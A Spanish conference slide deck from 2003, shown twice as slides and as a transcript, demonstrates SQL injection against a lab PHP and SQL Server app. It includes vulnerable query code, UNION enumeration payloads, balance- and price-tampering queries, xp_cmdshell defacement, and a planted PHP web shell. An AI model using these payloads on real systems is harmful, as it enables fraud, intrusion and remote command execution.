FIST Conference October 2003 @




SQL Injection
   © Rafael San Miguel Carrasco
SQL Injection

                  Escenario:

                    Windows 2000 Professional

                    Apache Win32 1.3.28

                    PHP 4.3.3

                    SQL Server 2000

                    Documentos HTML y scripts PHP




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   2
SQL Injection

                  Operadora de móviles, servicios online:


                    consulta de saldo

                    contratación de teleservicios



                  A través de un identificador secreto asignado a
                  cada cliente, que se utiliza para consultar
                  información y como medio de pago.




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   3
SQL Injection
                   Estructura tabla “clientes”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   4
SQL Injection

                    Estructura tabla “servicios”:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   5
SQL Injection

                  Página principal:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   6
SQL Injection
                   Consulta de saldo legítima:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   7
SQL Injection

                  Contratación de un servicio:




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   8
SQL Injection

                  consultasaldo.php:

                  $query = "SELECT nombre, apellidos, saldo FROM clientes
                  WHERE id='$idcliente';";
                  $result = mssql_query ($query);
                  $nfilas = mssql_num_rows ($result);

                  while ($row = mssql_fetch_array ($result) ) {
                       echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>";
                       echo "Saldo actual: <b>" . $row[2] . "</b>";
                  }




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  9
SQL Injection

                  contratar.php:
                 $query = "SELECT * FROM servicios WHERE id='$idservicio';";
                 $result = mssql_query ($query);
                 $row = mssql_fetch_array ($result);
                 $precio = $row [3];

                 echo "El precio del servicio que desea contratar es de <b>$precio</b>
                 euros<br>";
                 $saldo_final = $saldo_actual - $precio;

                 $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';";
                 mssql_query ($query);
                 $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id=
                 '$idcliente';";
                 mssql_query ($query);

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                  10
SQL Injection

                  Mapear la base de datos:


                    tablas que componen la base de datos

                    listado y tipo de las columnas de cada tabla




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com     11
SQL Injection
                          5' AND 1=0 union select TABLE_NAME from
                          INFORMATION_SCHEMA.TABLES—



                       Warning: mssql_query(): message: Todas las consultas
                       de una instruccion SQL que contenga un operador
                       UNION deben tener el mismo numero de expresiones
                       en sus listas de destino. (severity 16) in
                       c:apachehtdocsconsultasaldo.php on line 21


                            5‘ AND 1=0 union select TABLE_NAME," ",1 from

                            INFORMATION_SCHEMA.TABLES--


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                   12
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   13
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from
                  INFORMATION_SCHEMA.COLUMNS




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       14
SQL Injection

                  5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from
                  syscolumns, INFORMATION_SCHEMA.COLUMNS—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       15
SQL Injection

                  5‘ AND 1=0; update clientes set saldo=500000 where id=5555--




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              16
SQL Injection




                    5556'; update servicios set precio=1 where nombre_servicio=
                    "llamada en espera"—


© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com              17
SQL Injection
                 Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'.
                 (severity 15) in c:apachehtdocscontratar.php on line 22

                 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de
                 caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com                     18
SQL Injection

                  5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img
                  src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked
                  </body></html>" > c:apachehtdocsdeface.htm'—


                  5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm
                  c:apachehtdocsprincipal.htm’—




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com             19
SQL Injection




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   20
SQL Injection

                       shell.php:

                              <html>
                              <body><?php
                              $comando = $_GET["comando"];
                              echo "$comando<br>";
                              $resultado = system ($comando);
                              echo $resultado;
                              ?>
                              </body>
                              </html>

                        O también: passthru ()

© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com       21
SQL Injection

                  5556'; exec master..xp_cmdshell 'echo "<html><body>
                  <?php $comando=$_GET["comando"];echo $comando;
                  $resultado = system ($comando);echo $resultado;?>
                  </body></html>" > c:apachehtdocsshell.php'--




                    http://127.0.0.1/shell.php?comando=dir..




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com      22
SQL Injection
                     http://127.0.0.1/shell.php?comando=type c:odbc.conf




© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com         23
SQL Injection

                 En php.ini:


                              ; Magic quotes for incoming
                              ; GET/POST/Cookie data.
                              magic_quotes_gpc = On / Off


                  Sin embargo, con campos numéricos esta
                  protección es inútil



© Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com   24
SQL Injection
FIST Conference October 2003
© Rafael San Miguel Carrasco
Madrid, 25 October 2003

Exploiting Web applications SQL Injection

  • 1.
    FIST Conference October2003 @ SQL Injection © Rafael San Miguel Carrasco
  • 2.
    SQL Injection Escenario:  Windows 2000 Professional  Apache Win32 1.3.28  PHP 4.3.3  SQL Server 2000  Documentos HTML y scripts PHP © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 2
  • 3.
    SQL Injection Operadora de móviles, servicios online:  consulta de saldo  contratación de teleservicios A través de un identificador secreto asignado a cada cliente, que se utiliza para consultar información y como medio de pago. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 3
  • 4.
    SQL Injection Estructura tabla “clientes”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 4
  • 5.
    SQL Injection Estructura tabla “servicios”: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 5
  • 6.
    SQL Injection Página principal: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 6
  • 7.
    SQL Injection Consulta de saldo legítima: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 7
  • 8.
    SQL Injection Contratación de un servicio: © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 8
  • 9.
    SQL Injection consultasaldo.php: $query = "SELECT nombre, apellidos, saldo FROM clientes WHERE id='$idcliente';"; $result = mssql_query ($query); $nfilas = mssql_num_rows ($result); while ($row = mssql_fetch_array ($result) ) { echo "Nombre del cliente: <b>" . $row[0] . " " . $row[1] . "</b><br>"; echo "Saldo actual: <b>" . $row[2] . "</b>"; } © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 9
  • 10.
    SQL Injection contratar.php: $query = "SELECT * FROM servicios WHERE id='$idservicio';"; $result = mssql_query ($query); $row = mssql_fetch_array ($result); $precio = $row [3]; echo "El precio del servicio que desea contratar es de <b>$precio</b> euros<br>"; $saldo_final = $saldo_actual - $precio; $query = "UPDATE clientes SET saldo=$saldo_final WHERE id='$idcliente';"; mssql_query ($query); $query = "UPDATE clientes SET servicio" . $idservicio. "=1 WHERE id= '$idcliente';"; mssql_query ($query); © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 10
  • 11.
    SQL Injection Mapear la base de datos:  tablas que componen la base de datos  listado y tipo de las columnas de cada tabla © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 11
  • 12.
    SQL Injection 5' AND 1=0 union select TABLE_NAME from INFORMATION_SCHEMA.TABLES— Warning: mssql_query(): message: Todas las consultas de una instruccion SQL que contenga un operador UNION deben tener el mismo numero de expresiones en sus listas de destino. (severity 16) in c:apachehtdocsconsultasaldo.php on line 21 5‘ AND 1=0 union select TABLE_NAME," ",1 from INFORMATION_SCHEMA.TABLES-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 12
  • 13.
    SQL Injection © RafaelSan Miguel Carrasco, rsmc@soluciones-seguras.com 13
  • 14.
    SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,1 from INFORMATION_SCHEMA.COLUMNS © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 14
  • 15.
    SQL Injection 5‘ AND 1=0 union select TABLE_NAME, COLUMN_NAME,type from syscolumns, INFORMATION_SCHEMA.COLUMNS— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 15
  • 16.
    SQL Injection 5‘ AND 1=0; update clientes set saldo=500000 where id=5555-- © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 16
  • 17.
    SQL Injection 5556'; update servicios set precio=1 where nombre_servicio= "llamada en espera"— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 17
  • 18.
    SQL Injection Warning: mssql_query(): message: Linea 1: sintaxis incorrecta cerca de '—'. (severity 15) in c:apachehtdocscontratar.php on line 22 Warning: mssql_query(): message: Comilla no cerrada antes de la cadena de caracteres ';'. (severity 15) in c:apachehtdocscontratar.php on line 22 © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 18
  • 19.
    SQL Injection 5‘ AND 1=0; exec master..xp_cmdshell 'echo "<html> <body><img src=http://www.geocities.com/clan_de_vampiros/Caminante.gif> <br>hacked </body></html>" > c:apachehtdocsdeface.htm'— 5556’; exec master..xp_cmdshell ‘copy c:apachehtdocsdeface.htm c:apachehtdocsprincipal.htm’— © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 19
  • 20.
    SQL Injection © RafaelSan Miguel Carrasco, rsmc@soluciones-seguras.com 20
  • 21.
    SQL Injection shell.php: <html> <body><?php $comando = $_GET["comando"]; echo "$comando<br>"; $resultado = system ($comando); echo $resultado; ?> </body> </html> O también: passthru () © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 21
  • 22.
    SQL Injection 5556'; exec master..xp_cmdshell 'echo "<html><body> <?php $comando=$_GET["comando"];echo $comando; $resultado = system ($comando);echo $resultado;?> </body></html>" > c:apachehtdocsshell.php'-- http://127.0.0.1/shell.php?comando=dir.. © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 22
  • 23.
    SQL Injection http://127.0.0.1/shell.php?comando=type c:odbc.conf © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 23
  • 24.
    SQL Injection En php.ini: ; Magic quotes for incoming ; GET/POST/Cookie data. magic_quotes_gpc = On / Off Sin embargo, con campos numéricos esta protección es inútil © Rafael San Miguel Carrasco, rsmc@soluciones-seguras.com 24
  • 25.
    SQL Injection FIST ConferenceOctober 2003 © Rafael San Miguel Carrasco Madrid, 25 October 2003

Notas del editor

  • #3 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #4 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #5 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #6 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #7 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #8 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #9 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #10 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #11 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #12 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #13 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #14 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #15 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #16 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #17 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #18 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #19 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #20 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #21 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #22 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #23 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #24 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.
  • #25 Para la mayor parte de las organizaciones los activos se dividen entre críticos y no críticos.